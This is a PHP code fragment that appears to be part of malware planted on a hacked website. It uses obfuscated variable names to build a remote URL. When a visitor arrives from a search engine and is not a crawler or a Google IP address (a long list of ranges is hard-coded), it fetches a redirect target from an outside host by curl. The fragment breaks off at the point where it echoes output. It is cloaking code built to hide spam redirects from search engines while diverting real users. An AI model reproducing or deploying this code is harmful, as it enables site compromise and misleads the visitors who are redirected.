$rs_ptth = $O00O0O[63].$O00O0O[2].$O00O0O[14].$O00O0O[12];
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
http_response_code(404);
exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255') , array('66.102.0.0' , '66.102.15.255') , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') , array('64.18.0.0' , '64.18.15.255') , array('108.177.8.0' , '108.177.15.255') , array('172.217.0.0' , '172.217.31.255') , array('173.194.0.0' , '173.194.255.255') , array('207.126.144.0' , '207.126.159.255') , array('216.58.192.0' , '216.58.223.255') , array('64.68.90.1' , '64.68.90.255') , array('64.233.173.193' , '64.233.173.255') , array('66.249.64.1' , '66.249.79.255') , array('216.239.33.96' , '216.239.59.128') , array('64.68.80.0' , '64.68.92.255') , array('2001:4860:4000:0:0:0:0:0' , '2001:4860:4fff:ffff:ffff:ffff:ffff:ffff') , array('2404:6800:4000:0:0:0:0:0' , '2404:6800:4fff:ffff:ffff:ffff:ffff:ffff') , array('2607:f8b0:4000:0:0:0:0:0' , '2607:f8b0:4fff:ffff:ffff:ffff:ffff:ffff') , array('2800:3f0:4000:0:0:0:0:0' , '2800:3f0:4fff:ffff:ffff:ffff:ffff:ffff') , array('2a00:1450:4000:0:0:0:0:0' , '2a00:1450:4fff:ffff:ffff:ffff:ffff:ffff') , array('2c0f:fb50:4000:0:0:0:0:0' , '2c0f:fb50:4fff:ffff:ffff:ffff:ffff:ffff') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";
$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
for($i=0;$i<2;$i++){
$jumstz = curl_getjs_from_webpage($jums1,2);
$jumstz = trim($jumstz);
if(!preg_match($rsdom,$jumstz)){
$jumstz = curl_getjs_from_webpage($jums2,10);
$jumstz = trim($jumstz);
if(preg_match($rsdom,$jumstz))
break;
}else{
break;
}
}
echo '